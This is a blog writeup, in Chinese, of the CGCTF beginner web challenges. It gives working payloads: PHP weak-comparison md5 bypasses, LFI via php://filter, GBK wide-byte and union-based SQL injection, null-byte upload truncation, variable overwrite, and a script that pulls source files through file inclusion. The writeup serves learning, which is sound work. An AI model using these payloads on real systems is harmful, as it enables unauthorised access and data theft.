文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

流量分析

机器学习

基础学习

Python

Python编程

Java

Java编程

算法

Leetcode

随笔

经验

技术

 2019-11-19   4.5k

CGCTF Writeup Web

已经决定开始走上了CTF的不归路了,这是第一个练手的CTF,比较适合新手入门学习,有几道题也是看的网上的Writeup,总的来说不是很难吧,重在总结经验和绕过姿势。

传送门

Web

签到题

题干

这一定是最简单的

题解

直接F12查看源代码:

**flag:nctf{flag_admiaanaaaaaaaaaaa} **

md5 collision

题干

源码(PHP)

1
2
3
4
5
6
7
8
9
10
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
题解

看源码的意思就是,让我们输入一个id,这个id的值不等于QNKCDZO,但是他们的md5码是相同的。

===比较两个变量的值和类型;

==比较两个变量的值,不比较数据类型。

首先看一下QNKCDZO的md5码是什么:0e830400451993494058024219903391

md5碰撞原理:一个数字和一个字符串进行比较,PHP会把字符串转换成数字再进行比较。PHP转换的规则的是:若字符串以数字开头,则取开头数字作为转换结果,若无则输出0。例如:123abc转换后应该是123,而abc则为0,0==0这当然是成立的。所以,0 ==’abc’是成立的。当有一个对比参数是整数的时候,会把另外一个参数强制转换为整数。

所以,我们只要找到md5加密后以0e开头的字符串就可以绕过==的判断了,这里给大家列举了一写:常见的MD5碰撞:md5值为0e开头

与之类似的还有sha1: aaroZmOk aaK1STfY aaO8zKZF aaO8zKZF aa3OFF9m,这几个字符串经过sha1加密后也是0e开头。

**flag:nctf{md5_collision_is_easy} **

签到2

提示输入口令。

先把输入框的类型改为text,可以发现只能输入10个字符,即输入框对输入长度进行了限制。

修改一下最大长度,输入zhimakaimen即可。

flag:nctf{follow_me_to_exploit}

这题不是Web

网页中给了一张图片,并且提示这道题不是Web,可以联想到可能是图片隐写术。直接Download图片,用Notepad++打开。

flag:nctf{photo can also hid3 msg}

层层递进

使用F12查看源代码,根据题目提示“层层递进”,这道题使用iframe标签对页面进行嵌套,找到最后一个404.html页面,竟然提示我查看上一个页面。原谅我眼瞎,找了好久,发现隐藏在注释里面。

flag:nctf{this_is_a_fl4g}

AAencode

题干

javascript aaencode

题解

上网搜一下javascript aaencode,发现是一种颜文字:

  • JJencode:将JS代码转换成只有符号的字符串
  • AAencode:将JS代码转换成常用的网络符号

AAencode加密网址: http://utf-8.jp/public/aaencode.html

解密方法:以直接利用浏览器的控制台输入密文,执行后即可解密。

单身二十年

题干

这题可以靠技术也可以靠手速! 老夫单身二十年,自然靠的是手速!

题解

看到一个链接,查看源代码,该链接指向./search_key.php

点击链接,我们却去到了./no_key_is_here_forever.php这个页面

猜测是302跳转。

使用Burp Suite抓包,查看Sitemap:

**flag:nctf{yougotit_script_now} **

PHP decode

题干

见到的一个类似编码的shell,请解码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
function CLsI($ZzvSWE) {

$ZzvSWE = (base64_decode($ZzvSWE));

for ($i = 0; $i < strlen($ZzvSWE); $i++) {

$ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);

}

return $ZzvSWE;

}
eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));
?>
题解

这道题直接拿到本地运行这段代码flag不就出来了-_-

flag:nctf{gzip_base64_hhhhhh}

文件包含

题干

没错 这就是传说中的LFI

题解

有关文件包含漏洞的利用我在另外一篇博文很详细的介绍了,可以移步于此

查看index.php页面的源代码:

1
http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/convert.base64-encode/resource=index.php

把结果经过base64解码后得到源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>
<title>asdf</title>

<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:nctf{edulcni_elif_lacol_si_siht}

?>
</html>

就可以直接到flag:nctf{edulcni_elif_lacol_si_siht}

单身一百年也没用

与第7题类似

flag: nctf{this_is_302_redirect}

题干

COOKIE就是甜饼的意思~

TIP: 0==not

题解

F12查看request数据包中的cookie字段,发现Login=0

用BurpSuit抓包修改cookie参数Login=1即可。

flag:nctf{cookie_is_different_from_session}

MySQL

题干

不能每一题都这么简单嘛 你说是不是?

页面提示Do you know robots.txt?

于是访问http://chinalover.sinaapp.com/web11/robots.txt

返回:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
别太开心,flag不在这,这个文件的用途你看完了?
在CTF比赛中,这个文件往往存放着提示信息

TIP:sql.php

<?php
if($_GET[id]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$id = intval($_GET[id]);
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
if ($_GET[id]==1024) {
echo "<p>no! try again</p>";
}
else{
echo($query[content]);
}
}
?>

应该是让我们输入一个id,但他的值不等于1024,但是intval之后和1024相等,那么只要知道intval()函数取整,就很容易了。

payload

1
http://chinalover.sinaapp.com/web11/sql.php?id=1024.1

得到flag:nctf{query_in_mysql}

我最先开始没有注意到还有一个提示:TIP:sql.php,导致我在其他路径浪费了很多时间。

GBK Injection

根据题目很容易就能想到这是考察宽字节注入,先来稍微的介绍一下什么是宽字节注入。

宽字节注入主要是源于程序员设置数据库编码与PHP编码设置为不同的两个编码那么就有可能产生宽字节注入。例如说PHP的编码为 UTF-8MySql的编码设置为了
SET NAMES 'gbk'或是 SET character_set_client =gbk,这样配置会引发编码转换从而导致的注入漏洞。具体来说,假如某个网站有宽字节注入,那么我们提交:

1
http://127.0.0.1/unicodeSqlTest?id=%df%27

这时,假如我们现在使用的是addslashes来过滤,那么就会发生如下的转换过程:

1
%df%27===(addslashes)===>%df%5c%27===(数据库GBK)===>運'

前端输入%df%27时首先经过上面addslashes函数转义变成了%df%5c%27%5c是反斜杠\),之后在数据库查询前因为设置了GBK编码,即是在汉字编码范围内两个字节都会给重新编码为一个汉字。然后MySQL服务器就会对查询语句进行GBK编码即是%df%5c转换成了汉字,而单引号就逃逸了出来,从而造成了注入漏洞。

介绍完了宽字节注入的原理,我们再回到这道题目。

首先我们使用宽字节注入来进行绕过,当我们输入%df',出现如下报错:

1
2
3
4
your sql:select id,title from news where id = '1運''

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in SQL-GBK/index.php on line 10

发现出现了报错,说明我们的语句已经影响了正常语句的执行了,可以开始注入了。

首先使用order by判断列数:

1
2
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27%20order%20by%202--+

发现只有两列,再查询当前数据库名:

1
2
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,database()--+

得到sae-chinalover,接着查询该数据库中的表名:

1
2
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+

得到ctf,ctf2,ctf3,ctf4,gbksqli,news,再查询列名:

1
2
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634--+

这里需要把ctf4转换为十六进制

得到id, flag,最后查询数据:

1
2
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,flag from ctf4--+

得到flag: nctf{gbk_3sqli}

/x00

题干

题目有多种解法,你能想出来几种?

题解
1
2
3
4
5
6
7
8
9
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}

根据上面的源码提示,要输入数字并且含有#biubiubiu字符串的nctf参数。

第一种解法:

使用00截断绕过ereg函数,但要注意将#url编码。

1
2
http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=1%00%23biubiubiu

第二种解法:

第一个不等式中ereg函数,当传入参数为数组nctf[]时,NULL != FALSE ,构造成功跳过第一个不等式,第二个不等式中strpos函数传入参数数组之后 NULL != FLASE会返回flag。

**flag:nctf{use_00_to_jieduan} **

Bypass again

题干

依旧是弱类型

来源 hctf

题解
1
2
3
4
5
6
7
8
if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) == md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}

与第二道题md5 collision类似,,只需要找到两个字符串经过md5加密后,均以0e开头即可绕过验证。

Payload:?a=QNKCDZO&b=240610708

Flag: nctf{php_is_so_cool}

变量覆盖

题干

听说过变量覆盖么?

题解

有关变量覆盖的漏洞利用在我的另外一篇博文有详细介绍,可以移步于此

直接查看source.php文件的关键代码段:

1
2
3
4
5
6
7
8
9
10
<?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
<?php
extract($_POST);
if ($pass == $thepassword_123) { ?>
<div class="alert alert-success">
<code><?php echo $theflag; ?></code>
</div>
<?php } ?>
<?php } ?>

post数据:pass=1&thepassword_123=1

注意:在页面的输入表单中输入payload无效

伪装者

题干

这是一个到处都有着伪装的世界

题解

提示我们要本地登录,应该就是要我们用一个伪造本地IP地址访问该页面。BurpSuite导入第三方Python脚本可以

实现伪造IP的功能。

附上Python脚本地址:burpFakeIP

上传绕过

题干

猜猜代码怎么写的

题解

既然要猜代码逻辑,那就先一步一步的尝试咯~

如果不上传任何文件,直接submit:

如果上传php格式文件:

如果上传jpg格式文件:

再使用Burpsuite查看请求包:

尝试在/uploads/后面加上test.php+空格

然后将打开HEX,将test.php后面空格20改为00,构造00截断:

得到flag:nctf{welcome_to_hacks_world}

SQL注入1

题干

听说你也会注入?

题解

关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = trim($_POST[user]);
$pass = md5(trim($_POST[pass]));
$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
echo '</br>'.$sql;
$query = mysql_fetch_array(mysql_query($sql));
if($query[user]=="admin") {
echo "<p>Logged in! flag:******************** </p>";
}
if($query[user] != "admin") {
echo("<p>You are not admin!</p>");
}
}
echo $query[user];
?>

常规SQL注入的题目,使用admin登录,闭合'),截断pw判断:

payload:user=admin')#&pass=1

**flag:nctf{ni_ye_hui_sql?} **

pass check

题干
1
2
3
4
5
6
7
8
9
10
11
12
13
14
[email protected]$_POST['pass'];
$pass1=***********;//被隐藏起来的密码
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>

题解:

strcmp(array,string)==null==0,所以POST一个数组对象即可。

payload: pass[]=qaz

flag:nctf{strcmp_is_n0t_3afe}

起名字真难

题干
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
echo $flag;
else
echo 'access denied';
?>

题解

不能出现1-9之间的数字,那么我们只能尝试将54975581388转成16进制

转换后的结果是ccccccccc,可以使用

payload:?key=0xccccccccc

得到The flag is:nctf{follow_your_dream}

密码重置

题干

重置管理员账号:admin 的密码

你在点击忘记密码之后 你的邮箱收到了一封重置密码的邮件

题解

观察页面可以发现地址栏的参数经过了Base64编码处理,解码得到ctfuser。如果要重置admin的密码,我们抓个包将地址栏参数和POST数据修改一下即可:

?user1=%59%57%52%74%61%57%34%3d

user=admin&newpass=1&vcode=1234

flag is:nctf{reset_password_often_have_vuln}

SQL Injection

题干

继续注入吧! TIP:反斜杠可以用来转义 仔细查看相关函数的用法

题解

用F12查看源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';

function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}

echo $flag;

sql语句:SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';

观察clean函数中的返回值经过htmlentities()函数过滤,这个字符将字符转换为 HTML 转义字符 ,第二个参数如果没有默认只转换双引号,但参数值为ENT_QUOTES时既转换双引号又转换单引号。

我们最终目标是平衡单引号,可是经过这个函数过滤我们无法输入单引号,只能想怎么消灭原来的单引号。

构造payload:?username=\&password= or 1=1#使得查询语句如下:

1
2
3
4
5
6
7
8
9
SELECT * FROM users WHERE name='\' AND pass=' or 1%23'

SELECT * FROM users WHERE
name='\' AND pass=' 『 [name]的值为 [' AND pass=],单引号被转义了,显然逻辑值为false 』
or 1=1 『 但没关系,[false or 1] 的逻辑值为真 』
%23' 『 %23是#的url编码,注释掉多余的单引号 』

select * from users where false or 1

**flag:nctf{sql_injection_is_interesting} **

综合题

打开后发现是一串看不懂的代码,google一下是jsfuck编码,在线解码网站,直接拖到控制台界面执行得到 1bc29b36f623ba82aaf6724fd3b16718.php。

接着打开这个网站得到提示:

根据提示查看http头信息:

history of bash提示我们在Linux系统中有一个.history_bash文件来记录最近若干条bash命令。 所以尝试打开该目录下这个文件 url:http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/.bash_history ,得到新的提示:

在当前目录下访问http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/flagbak.zip得到**flag: nctf{bash_history_means_what} **

SQL注入2

题干

注入第二题~~主要考察union查询

题解

关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = $_POST[user];
$pass = md5($_POST[pass]);
$query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
echo "<p>Logged in! Key: ntcf{**************} </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>

strcasecmp(str1, str2):两个字符串相等则返回0

观察一下条件语句 ($query[pw]) && (!strcasecmp($pass, $query[pw]))

mysql_fetch_array() 函数返回的关联数组中键为字段名

构造payload:post一下数据

user=’ union select md(1)#&pass=1

flag: ntcf{union_select_is_wtf}

综合题2

这道题比较有综合性,我也是看了这篇WriteUp的提示,就做一个知识点的总结吧:

  • 下载提示文件的Python脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    import requests
    import codecs
    from bs4 import BeautifulSoup
    url="http://cms.nuptzj.cn/about.php?file="
    file_list = ["index.php","passencode.php","say.php","config.php","antixss.php","about.php","so.php","antiinject.php","xlcteam.php"]
    for i in file_list:
    res = requests.get(url+i)
    print("dowload "+i)
    if res.status_code==200:
    res.encoding="utf8"
    with codecs.open(i,"w+","utf8") as handle:
    print("done")
    text = BeautifulSoup(res.text,"lxml").text
    handle.write(text)
  • SQL注入时需要正确地找到注入点

  • SQL注入过滤了空格可以使用/**/代替

  • 回调函数后门

密码重置2

题干
1
2
3
4
5
TIPS:
1.管理员邮箱观察一下就可以找到
2.linux下一般使用vi编辑器,并且异常退出会留下备份文件
3.弱类型bypass

题解

查看源代码文件得到管理员邮箱:[email protected]

根据提示,学到一个新知识是非正常关闭vi编辑器时会生成一个.swp文件

查看.index.php.swp和.submit.php.swp文件,能打开.submit.php.swp文件,关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if(!empty($token)&&!empty($emailAddress)){
if(strlen($token)!=10) die('fail');
if($token!='0') die('fail');
$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
$r = mysql_query($sql) or die('db error');
$r = mysql_fetch_assoc($r);
$r = $r['num'];
if($r>0){
echo $flag;
}else{
echo "失败了呀";
}
}

要求token长度为10且token!=0为假,有两种绕过方法,第一种传入token=0000000000绕过,第二种利用弱类型(含有数字内容的字符串也会被转换类型)传入token=0e12345678绕过。

flag:nctf{thanks_to_cumt_bxs}

file_get_contents

题干
1
2
3
4
5
<!--$file = $_GET['file'];
if(@file_get_contents($file) == "meizijiu"){
echo $nctf;
}-->

题解

file_get_contents() 函数将整个文件读入一个字符串

php伪协议之一:”php://input”可以访问请求的原始数据的只读流,,将post请求中的数据作为PHP代码执行。

变量覆盖

题干

变量覆盖,代码审计类题目

1
2
3
4
5
6
7
<!--foreach($_GET as $key => $value){  
$$key = $value;
}
if($name == "meizijiu233"){
echo $flag;
}-->

题解

foreach 遍历数组或对象,它会在每次循环中把当前的键名赋给变量 $key,值赋给变量$value。

Copyright © ca01h 2019-2020 | 本站总访问量